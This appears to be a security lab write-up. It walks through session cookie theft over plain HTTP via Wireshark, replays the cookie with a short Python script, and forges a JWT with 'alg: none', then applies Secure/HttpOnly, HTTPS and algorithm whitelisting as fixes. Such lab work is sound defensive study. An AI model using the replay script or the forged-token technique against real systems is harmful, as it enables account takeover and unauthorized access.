Post

Session Hijacking & JWT Tampering

Session Hijacking & JWT Tampering

Overview

This lab demonstrates a complete session hijacking attack chain against an ASP.NET web application, followed by the proper mitigations. The attack leverages an unprotected session cookie transmitted over HTTP — captured via Firefox’s Network panel and Wireshark, then replayed with a Python script to impersonate an authenticated user without ever knowing the password. The lab also includes a JWT tampering bonus that shows how weak token validation can be exploited.

Environment:

  • Kali Linux (Attacker): 192.168.91.128
  • Windows Server 2022 (Target): 192.168.91.129 — IIS + ASP.NET 4.8 + SQL Server Express

All activity was performed inside an isolated Host-Only VM environment.


Step 1: Environment Setup

Connectivity between VMs verified (same setup as previous labs — Host-Only network, static IPs).


Step 2: Install IIS & ASP.NET 4.8 (S1)

Installed via Server Manager → Add Roles → Web Server (IIS) → Application Development:

  • ASP.NET 4.8
  • .NET Extensibility 4.8
  • ISAPI Extensions + ISAPI Filters
1
iisreset

Browsed to http://localhost/ to confirm IIS is running.

IIS default welcome page IIS installed and running — default welcome page confirmed


Step 3 & 4: Deploy the Vulnerable Login App

Created C:\inetpub\wwwroot\VulnerableApp\Login.aspx — a login page that:

  • Authenticates against the SecureDB.Users table via parameterized query
  • Issues an ASP.NET_SessionId cookie without HttpOnly or Secure flags
  • Transmits everything over plain HTTP

Added the VulnerableApp alias in IIS Manager → Default Web Site → Add Application (.NET CLR v4.0, Integrated pipeline), then ran iisreset.


On Kali, opened Firefox → ☰ → Web Developer → Network (started recording).

Browsed to http://192.168.91.129/VulnerableApp/Login.aspx and submitted admin / admin123.

In the request list, clicked the POST /Login.aspx entry (status 302) → Response Headers → found:

1
Set-Cookie: ASP.NET_SessionId=<SESSION_ID>; path=/

No HttpOnly. No Secure. The session ID is fully visible in plaintext.

Firefox Network panel showing Set-Cookie in POST 302 response ASP.NET_SessionId exposed in plaintext response headers — no security flags


On Kali:

1
sudo wireshark

Selected the correct interface, started capture. Applied display filter:

1
http.response.code == 302

Re-submitted the login — located the 302 packet → expanded Hypertext Transfer Protocol → Set-Cookie → same session ID visible in the captured packet.

Wireshark showing Set-Cookie in HTTP 302 packet Session cookie captured in Wireshark — transmitted in cleartext over HTTP

Any attacker on the same network segment can passively capture this cookie without sending a single packet.


Step 8: Hijack the Session with Python (S4)

With the captured ASP.NET_SessionId, wrote session_hijack.py:

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python3
import requests

URL = 'http://192.168.91.129/VulnerableApp/Login.aspx'
SID = '<CAPTURED_SESSION_ID>'

resp = requests.get(URL, headers={'Cookie': f'ASP.NET_SessionId={SID}'})
print(f"Status: {resp.status_code} {resp.reason}\n")
print("\n".join(resp.text.splitlines()[:5]))
1
2
chmod +x session_hijack.py
./session_hijack.py

Result: Status: 200 OK — followed by <h2>Welcome, admin!</h2>. Full session takeover without a password.

Python session hijack output showing Welcome admin Session hijacked — server accepted the stolen cookie and returned the authenticated page


Step 9: HTTPS + Secure/HttpOnly Mitigation (S5, S6, S7)

9a: Bind HTTPS on IIS

1
New-SelfSignedCertificate -DnsName "192.168.91.129" -CertStoreLocation "Cert:\LocalMachine\My"

Then in IIS Manager → Default Web Site → Bindings → Add → Type: https, Port: 443, selected the self-signed certificate → iisreset.

IIS HTTPS binding dialog with port 443 HTTPS binding on port 443 with self-signed certificate

9b: Replace Login.aspx with Hardened Version

The patched code sets HttpOnly = true and Secure = true on the session cookie:

1
2
3
4
5
6
var cookie = new HttpCookie("ASP.NET_SessionId", Guid.NewGuid().ToString()) {
    HttpOnly = true,
    Secure = true,
    Path = "/"
};
Response.Cookies.Add(cookie);

Browsed to https://192.168.91.129/VulnerableApp/Login.aspx (accepted cert warning), logged in, then opened Firefox → Storage → Cookies — confirmed both flags present.

Firefox Storage showing Secure and HttpOnly flags on session cookie Session cookie now has Secure + HttpOnly — no longer accessible via JavaScript or HTTP

9c: Verify the Hijack No Longer Works (S7)

Re-ran session_hijack.py against the hardened endpoint — the server did not return the welcome page:

Python hijack output after mitigation — no welcome page Mitigation confirmed — stolen cookie rejected, session hijack blocked

Why the mitigation works:

  • Secure flag: cookie only sent over HTTPS — can’t be sniffed in plaintext anymore
  • HttpOnly flag: JavaScript can’t read the cookie — eliminates XSS-based theft
  • HTTPS: the entire session is encrypted in transit — Wireshark shows only ciphertext

Bonus: JWT Tampering Challenge (B1, B2)

Setup

1
2
pip3 install flask pyjwt
python3 jwt_demo.py
1
2
3
4
# Get a token
curl -s -X POST http://192.168.91.128:5000/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin"}'

Tamper the Token

Pasted the returned JWT into jwt.io, then:

  1. Changed the payload: "role": "user""role": "admin"
  2. Changed the header: "alg": "HS256""alg": "none"
  3. Removed the signature (set to empty string)

The vulnerable server accepts tokens with alg: none because it doesn’t enforce signature verification.

jwt.io showing tampered JWT with role:admin and alg:none JWT tampered — role escalated to admin, signature bypassed with alg:none

Replay & Mitigate

1
2
curl -i http://192.168.91.128:5000/dashboard \
  -H "Authorization: Bearer <tampered_token>"

Vulnerable server: accepted the tampered token → returned admin dashboard.

After applying the fix:

1
2
jwt.decode(token, SECRET, algorithms=["HS256"],
           options={"verify_signature": True})

Re-replaying the tampered token now returns 403 Invalid Token.

Demo server rejecting tampered JWT with 403 Mitigation applied — tampered JWT rejected with 403 Invalid Token


Key Takeaways

Red Team:

  • A session cookie without HttpOnly/Secure over HTTP can be stolen passively with Wireshark and replayed in seconds with 10 lines of Python
  • JWT alg: none attacks are trivial — any token signed with “none” bypasses signature checks on vulnerable implementations

Blue Team:

  • Always set Secure + HttpOnly on session cookies
  • Always serve authenticated pages over HTTPS — Secure is meaningless without it
  • For JWT: always explicitly whitelist allowed algorithms (algorithms=["HS256"]) — never accept none
  • Session IDs should be regenerated after login to prevent fixation attacks
This post is licensed under CC BY 4.0 by the author.